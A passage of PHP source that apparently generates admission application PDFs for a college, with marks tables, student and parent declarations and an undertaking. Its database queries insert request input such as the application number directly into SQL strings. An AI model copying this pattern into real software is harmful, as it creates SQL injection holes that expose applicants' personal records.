align="center">'.$per_details['fpusec'].'</td> // <td width="110" align="center">'.$per_details['fpumax'].'</td> // </tr>'; // $table5 .= '<tr nobr="true"> // <td width="100">English</td> // <td width="100" align="center">'.$per_details['fengmax'].'</td> // <td width="110" align="center">'.$per_details['fengsec'].'</td> // <td width="110" align="center">'.$per_details['fengper'].'</td> // </tr>'; // $table5 .='</table>'; // //$pdf->SetX(12); // $pdf->SetX(11); // $pdf->writeHTML($table5, true, false, true, false, 'L'); // $pdf->ln(10); // $html = '<h3 style="background-color: #918988; color: rgb(255, 255, 255);"> Subjects Opted</h3>'; // $x = $pdf->GetX(); // $y = $pdf->GetY(); // $pdf->SetMargins(10,40); // $pdf->writeHTMLCell(188,0,$x,$y,$html, false,1, false, true, '', false); // $pdf->ln(2); $i = 1; $table6 = '<style> td { border: 0.5px solid black; } </style> <table cellpadding="3" cellspacing="0">'; //====================Subject Details==================================== $table6 = '<style> td, th { border: 0.5px solid black; } </style> <table cellpadding="2" cellspacing="0"> <tr nobr="true"><th width="40" align="center"><b>Sl. No.</b></th> <th width="300" align="center"><b>Subject Name</b></th> <th width="60" align="center"><b>Max. Marks</b></th> <th width="60" align="center"><b>Sec. Marks</b></th> <th width="60" align="center"><b>Percent</b></th> </tr>'; $i=1; foreach ($subjects as $key => $value) { $table6 .= '<tr nobr="true"> <td width="40" align="center">'.$i.'</td> <td width="300" align="left">'.$value['fsubname'].'</td> <td width="60" align="center">'.$value['fmaxmarks'].'</td> <td width="60" align="center">'.$value['fsecmarks'].'</td> <td width="60" align="center">'.$value['fpercent'].'</td> </tr>'; $i++; } $table6 .='</table>'; $pdf->SetX(11); if(count($subjects)>0) $pdf->writeHTML($table6, true, true, false, false, 'L'); if($FUNIVCODE != '049') { $pdf->ln(3); if($pdf->GetY() > 210) { $pdf->AddPage(); } $pdf->SetFont('Times','B',10); $pdf->Cell(180,4,'Declaration by Student:',0,1,'L'); $pdf->ln(1); //var_dump($this->aobj_context->degree); $pdf->SetFont('Times','',11); $str = "I have carefully read the details regarding admission to the ".$this->aobj_context->degree." course. I declare that the information provided by me in this application is true and correct to the best of my knowledge Should it be found that the information furnished is untrue in material particulars, I know that 1 am liable for criminal prosecution and will forego the allotted seat. In all matters regarding my admission to the course, the decision of the College is final and binding. I am also aware that the college will not refund the fees either in full or in part, under any circumstance. I agree to abide by the rules and regulations of the College that may be framed from time to time. 1 am aware that any dispute arising out of the admission to the course will be subject to the jurisdiction of the courts of the city of Mangalore or the Honorable High Court of Karnataka."; $pdf->MultiCell(180,4,$str,0,'L'); $pdf->ln(4); $pdf->SetFont('Times','B',12); $pdf->Cell(160,4,'Place : ..............................................',0,1,'L'); $pdf->ln(2); $pdf->Cell(160,4,'Date : ...............................................',0,0,'L'); $pdf->Cell(30,4,'Signature of the Applicant ',0,1,'R'); $pdf->ln(5); $pdf->SetFont('Times','B',10); $pdf->Cell(180,4,'Declaration by Parent/Guardian:',0,1,'L'); $pdf->ln(1); $pdf->SetFont('Times','',11); $str1 = "I ................................................................................................................... hereby affirm that the information provided and enclosures submitted thereto in this application of my son / daughter / ward ........................................................................... for admission to ".$this->aobj_context->degree." course is true and correct to the best of my knowledge. Should it be found that the information furnished is untrue in material particulars, I know that I am liable for criminal prosecution and he/she will forego the allotted seat. I am aware that in all matters regarding his/her admission to the course, the decision of the College is final and binding. I am aware that any dispute arising out of the admission to the course will be subject to the jurisdiction of the courts of the city of Mangalore or the Honorable High Court of Karnataka."; $pdf->MultiCell(0,4,$str1,0,'L'); $pdf->ln(4); $pdf->SetFont('Times','B',12); $pdf->Cell(160,4,'Place : ..............................................',0,1,'L'); $pdf->ln(2); $pdf->Cell(160,4,'Date : ...............................................',0,0,'L'); $pdf->Cell(30,4,'Signature of the Parent/Guardian ',0,1,'R'); $pdf->ln(15); $pdf->SetFont('Times','BU',15); $pdf->Cell(180,4,'UNDERTAKING',0,1,'C'); $pdf->ln(1); $pdf->SetFont('Times','',11); $pdf->MultiCell(180,4," I ................................................................................................................. a student of 1st year ".$this->aobj_context->degree.", Branch hereby promise that, on my admission, during the academic year 2023-24, I will follow the rules and regulations of conduct an discipline and that I will not indulge in any undesirable activity detrimental to myself and the institution. If found and charged for any undesirable activity, I am liable to be expelled from the college or any other punishment as deemed fit. I understand that usage of mobile phones in the academic area is strictly prohibited and I will not carry the same to the college.",0,'L'); $pdf->ln(4); $pdf->SetFont('Times','B',12); $pdf->Cell(160,4,'Student Name : ________________________________________',0,1,'L'); $pdf->ln(2); $pdf->Cell(180,4,' Sign : _______________________________',0,1,'L'); $pdf->ln(4); $pdf->SetFont('Times','B',12); $pdf->Cell(160,4,'Parent/Guardian Name : _______________________________________',0,1,'L'); $pdf->ln(2); $pdf->Cell(160,4,' Sign : _________________________________',0,0,'L'); if($FUNIVCODE == '050') $pdf->Cell(160,4,'Dean',0,1,'L'); else $pdf->Cell(160,4,'Principal',0,1,'L'); } // $pdf->SetFont('Times','B',10);.............................................. // $pdf->ln(10); ______________________________________________ // $pdf->Cell(160,4,'Date:',0,0,'L'); // $pdf->Cell(30,4,'Signature of the Principal / Chairman with Seal',0,1,'R'); // $pdf->ln(2); // $pdf->ln(10); // $table6 = '<style> // td, th { // border: 0.5px solid black; // } // </style> // <table cellpadding="3" cellspacing="0"> // <tr nobr="true"> // <th width="530" colspan="4" align="center"><b><b>FOR OFFICE USE ONLY ( UNIVERSITY )</b></b></th> // </tr> // <tr nobr="true"><th width="120" align="center"><b>Application No.</b></th> // <th width="100" align="center"><b>Approved</b></th> // <th width="100" align="center"><b>Approval Sl. No.</b></th> // <th width="210" align="center"><b>Remarks</b></th> // </tr>'; // $table6 .= '<tr nobr="true"> // <td width="120" style = "text-align:center;">'.$per_details['FAPPNO'].'</td> // <td width="100"></td> // <td width="100"></td> // <td width="210"></td> // </tr>'; // $table6 .='</table>'; // $pdf->SetX(11); // $pdf->writeHTML($table6, true, false, true, false, 'L'); $pdf->ln(2); // $pdf->Cell(180,4,'Signature of the Verifier:',0,1,'C'); // $pdf->ln(5); // $pdf->Cell(160,4,'Signature of the Superintendent',0,0,'L'); // $pdf->Cell(30,4,'Signature of the Asst.Reg.',0,1,'R'); // $pdf->ln(13); // $pdf->Cell(180,4,'Registrar',0,1,'C'); } function SendOutput() { $this->pdf->Output("Application_letter{$this->current_date}.pdf","I"); } } function printApplicationNitte($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $get_coll_name="select FUNIVNAME as 'FUNIVNAME',FUNIVCODE, FUNIVADD1 as 'state', pdf_logo_path, ifnull(FEXAMAPPREQ,'F') as FEXAMAPPREQ From control"; $lobj_get_coll_name=$aobj_context->mobj_db->GetRow($get_coll_name); $FUNIVCODE = $lobj_get_coll_name['FUNIVCODE']; $app_no = trim($aobj_context->mobj_data["app_no"]); $comadd = "CONCAT(sa.fcommadd1,',',sa.fcommadd2,',',sa.fcommpost,',',sa.fcommtaluk,',',sa.fcommdist,',',sa.fcommpin)"; if($FUNIVCODE == '050') $comadd = "CONCAT(sa.fcurradd1,',',sa.fcurradd2,',',sa.fcommpost,',', sa.fcommtaluk,',',sa.fcommdist,',',sa.fcommpin)"; $per_details_query = "select sa.*,date_format(ifnull(sa.fdob,''),'%d/%m/%Y') as fdob, date_format(ifnull(sa.fadmdate,''),'%d/%m/%Y') as admdate, {$comadd} as comadd, CONCAT(sa.fperadd1,',',sa.fperadd2,',',sa.fperpost,',',sa.fpertaluk,',',sa.fperdist,', ',sa.fperstate,',',sa.fperpin) as peradd FROM studadm sa inner join degree dg on sa.fdegree = dg.fdegree and sa.fexamno = dg.fexamno inner join college cl on sa.fcollcode = cl.fcollcode WHERE sa.FAPPNO = '{$app_no}'"; $per_details = $aobj_context->mobj_db->GetAll($per_details_query); $class_obj = new AddmissionApplication(); $class_obj->DefaultConstructor($aobj_context); foreach($per_details as $key => $value) { $class_obj = new AddmissionApplication(); $aobj_context->FAPPNO = $value['FAPPNO']; $aobj_context->fcollcode = $value['fcollcode']; $aobj_context->fdegree = $value['FDEGREE']; $class_obj->DefaultConstructor($aobj_context); // $subject_query = "select distinct su.fsubcode, su.fsubname, su.fsubshort // from subject su inner join options op // on su.fdegree = op.fdegree // and su.fexamno = op.fexamno // and su.fsubcode = op.fsubcode // where fappno = '{$value['fappno']}' // order by su.fsubcode"; $subject_query = "select s.fdegree,s.fsubcode,a.fsubname,s.fmaxmarks, s.fsecmarks, s.fpercent From studprevsub s inner join admprevsub a on s.fdegree = a.fdegree and a.fsubcode = s.fsubcode where fappno = '{$value['fappno']}' order by a.forder"; $subjects = $aobj_context->mobj_db->GetAll($subject_query); $class_obj->writeApplication($value, $subjects,$FUNIVCODE); } $class_obj->SendOutput(); } ?>
Close